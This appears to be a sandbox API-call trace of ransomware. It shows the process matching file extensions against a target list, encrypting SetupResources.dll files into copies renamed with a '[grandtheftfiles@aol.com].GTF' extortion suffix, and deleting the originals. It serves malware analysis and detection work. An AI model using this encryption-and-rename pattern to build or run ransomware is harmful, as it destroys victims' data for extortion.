	[0068.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.274] lstrlenW (lpString=".doc") returned 4
	[0068.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.274] lstrlenW (lpString=".docx") returned 5
	[0068.274] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.274] lstrlenW (lpString=".pdf") returned 4
	[0068.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.274] lstrlenW (lpString=".xls") returned 4
	[0068.274] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.274] lstrlenW (lpString=".xlsx") returned 5
	[0068.274] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.274] lstrlenW (lpString=".ppt") returned 4
	[0068.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.274] lstrlenW (lpString=".zip") returned 4
	[0068.275] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.275] lstrlenW (lpString=".rar") returned 4
	[0068.275] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.275] lstrlenW (lpString=".bz2") returned 4
	[0068.275] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.275] lstrlenW (lpString=".7z") returned 3
	[0068.275] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.275] lstrlenW (lpString=".dbf") returned 4
	[0068.275] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.275] lstrlenW (lpString=".1cd") returned 4
	[0068.275] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.275] lstrlenW (lpString=".jpg") returned 4
	[0068.275] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.275] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.275] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.275] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=18264) returned 1
	[0068.275] CloseHandle (hObject=0x360) returned 1
	[0068.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80
	[0068.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.276] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.276] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.276] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.276] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.276] GetLastError () returned 0x0
	[0068.276] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0068.378] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0068.380] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.380] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.380] SetEndOfFile (hFile=0x364) returned 1
	[0068.380] CloseHandle (hObject=0x364) returned 1
	[0068.381] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.381] SetEndOfFile (hFile=0x360) returned 1
	[0068.382] CloseHandle (hObject=0x360) returned 1
	[0068.382] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.382] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1
	[0068.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.383] lstrlenW (lpString=".doc") returned 4
	[0068.383] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.383] lstrlenW (lpString=".docx") returned 5
	[0068.383] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.383] lstrlenW (lpString=".pdf") returned 4
	[0068.383] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.383] lstrlenW (lpString=".xls") returned 4
	[0068.383] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.383] lstrlenW (lpString=".xlsx") returned 5
	[0068.383] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.383] lstrlenW (lpString=".ppt") returned 4
	[0068.383] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.383] lstrlenW (lpString=".zip") returned 4
	[0068.383] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.383] lstrlenW (lpString=".rar") returned 4
	[0068.383] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.383] lstrlenW (lpString=".bz2") returned 4
	[0068.383] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.383] lstrlenW (lpString=".7z") returned 3
	[0068.383] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.383] lstrlenW (lpString=".dbf") returned 4
	[0068.383] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.383] lstrlenW (lpString=".1cd") returned 4
	[0068.383] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.384] lstrlenW (lpString=".jpg") returned 4
	[0068.384] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.384] lstrlenW (lpString=".doc") returned 4
	[0068.384] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.384] lstrlenW (lpString=".docx") returned 5
	[0068.384] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.384] lstrlenW (lpString=".pdf") returned 4
	[0068.384] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.384] lstrlenW (lpString=".xls") returned 4
	[0068.384] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.384] lstrlenW (lpString=".xlsx") returned 5
	[0068.384] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.384] lstrlenW (lpString=".ppt") returned 4
	[0068.384] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.384] lstrlenW (lpString=".zip") returned 4
	[0068.384] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.384] lstrlenW (lpString=".rar") returned 4
	[0068.384] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.384] lstrlenW (lpString=".bz2") returned 4
	[0068.384] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.384] lstrlenW (lpString=".7z") returned 3
	[0068.384] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.384] lstrlenW (lpString=".dbf") returned 4
	[0068.384] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.384] lstrlenW (lpString=".1cd") returned 4
	[0068.384] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45
	[0068.384] lstrlenW (lpString=".jpg") returned 4
	[0068.385] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.385] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.385] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.385] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=17752) returned 1
	[0068.385] CloseHandle (hObject=0x360) returned 1
	[0068.385] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80
	[0068.385] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.385] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.385] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.386] GetLastError () returned 0x0
	[0068.386] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x4558, lpOverlapped=0x0) returned 1
	[0068.402] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x4560, lpOverlapped=0x0) returned 1
	[0068.403] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.403] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.403] SetEndOfFile (hFile=0x364) returned 1
	[0068.403] CloseHandle (hObject=0x364) returned 1
	[0068.404] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.404] SetEndOfFile (hFile=0x360) returned 1
	[0068.405] CloseHandle (hObject=0x360) returned 1
	[0068.405] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.406] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1
	[0068.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.406] lstrlenW (lpString=".doc") returned 4
	[0068.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.406] lstrlenW (lpString=".docx") returned 5
	[0068.406] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.406] lstrlenW (lpString=".pdf") returned 4
	[0068.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.406] lstrlenW (lpString=".xls") returned 4
	[0068.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.406] lstrlenW (lpString=".xlsx") returned 5
	[0068.406] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.406] lstrlenW (lpString=".ppt") returned 4
	[0068.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.406] lstrlenW (lpString=".zip") returned 4
	[0068.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.406] lstrlenW (lpString=".rar") returned 4
	[0068.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.406] lstrlenW (lpString=".bz2") returned 4
	[0068.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.406] lstrlenW (lpString=".7z") returned 3
	[0068.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.406] lstrlenW (lpString=".dbf") returned 4
	[0068.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.407] lstrlenW (lpString=".1cd") returned 4
	[0068.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.407] lstrlenW (lpString=".jpg") returned 4
	[0068.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.407] lstrlenW (lpString=".doc") returned 4
	[0068.407] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.407] lstrlenW (lpString=".docx") returned 5
	[0068.407] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.407] lstrlenW (lpString=".pdf") returned 4
	[0068.407] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.407] lstrlenW (lpString=".xls") returned 4
	[0068.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.407] lstrlenW (lpString=".xlsx") returned 5
	[0068.407] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.407] lstrlenW (lpString=".ppt") returned 4
	[0068.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.407] lstrlenW (lpString=".zip") returned 4
	[0068.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.407] lstrlenW (lpString=".rar") returned 4
	[0068.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.407] lstrlenW (lpString=".bz2") returned 4
	[0068.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.408] lstrlenW (lpString=".7z") returned 3
	[0068.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.408] lstrlenW (lpString=".dbf") returned 4
	[0068.408] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.408] lstrlenW (lpString=".1cd") returned 4
	[0068.408] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.408] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45
	[0068.408] lstrlenW (lpString=".jpg") returned 4
	[0068.408] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.408] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.408] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.408] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.409] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=14168) returned 1
	[0068.409] CloseHandle (hObject=0x360) returned 1
	[0068.409] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80
	[0068.409] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.409] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.409] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.409] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.410] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.410] GetLastError () returned 0x0
	[0068.410] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x3758, lpOverlapped=0x0) returned 1
	[0068.574] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0068.575] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.575] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.575] SetEndOfFile (hFile=0x364) returned 1
	[0068.575] CloseHandle (hObject=0x364) returned 1
	[0068.804] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.805] SetEndOfFile (hFile=0x360) returned 1
	[0068.805] CloseHandle (hObject=0x360) returned 1
	[0068.806] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.806] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1
	[0068.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.806] lstrlenW (lpString=".doc") returned 4
	[0068.806] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.806] lstrlenW (lpString=".docx") returned 5
	[0068.806] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.806] lstrlenW (lpString=".pdf") returned 4
	[0068.806] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.806] lstrlenW (lpString=".xls") returned 4
	[0068.806] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.806] lstrlenW (lpString=".xlsx") returned 5
	[0068.806] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.806] lstrlenW (lpString=".ppt") returned 4
	[0068.806] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.806] lstrlenW (lpString=".zip") returned 4
	[0068.806] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.807] lstrlenW (lpString=".rar") returned 4
	[0068.807] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.807] lstrlenW (lpString=".bz2") returned 4
	[0068.807] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.807] lstrlenW (lpString=".7z") returned 3
	[0068.807] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.807] lstrlenW (lpString=".dbf") returned 4
	[0068.807] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.807] lstrlenW (lpString=".1cd") returned 4
	[0068.807] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.807] lstrlenW (lpString=".jpg") returned 4
	[0068.807] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.807] lstrlenW (lpString=".doc") returned 4
	[0068.807] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.807] lstrlenW (lpString=".docx") returned 5
	[0068.807] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.807] lstrlenW (lpString=".pdf") returned 4
	[0068.807] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.807] lstrlenW (lpString=".xls") returned 4
	[0068.807] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.807] lstrlenW (lpString=".xlsx") returned 5
	[0068.807] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.807] lstrlenW (lpString=".ppt") returned 4
	[0068.807] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.807] lstrlenW (lpString=".zip") returned 4
	[0068.807] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.807] lstrlenW (lpString=".rar") returned 4
	[0068.808] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.808] lstrlenW (lpString=".bz2") returned 4
	[0068.808] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.808] lstrlenW (lpString=".7z") returned 3
	[0068.808] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.808] lstrlenW (lpString=".dbf") returned 4
	[0068.808] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.808] lstrlenW (lpString=".1cd") returned 4
	[0068.808] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45
	[0068.808] lstrlenW (lpString=".jpg") returned 4
	[0068.808] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.808] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.808] lstrlenW (lpString="Rotate6.ico") returned 11
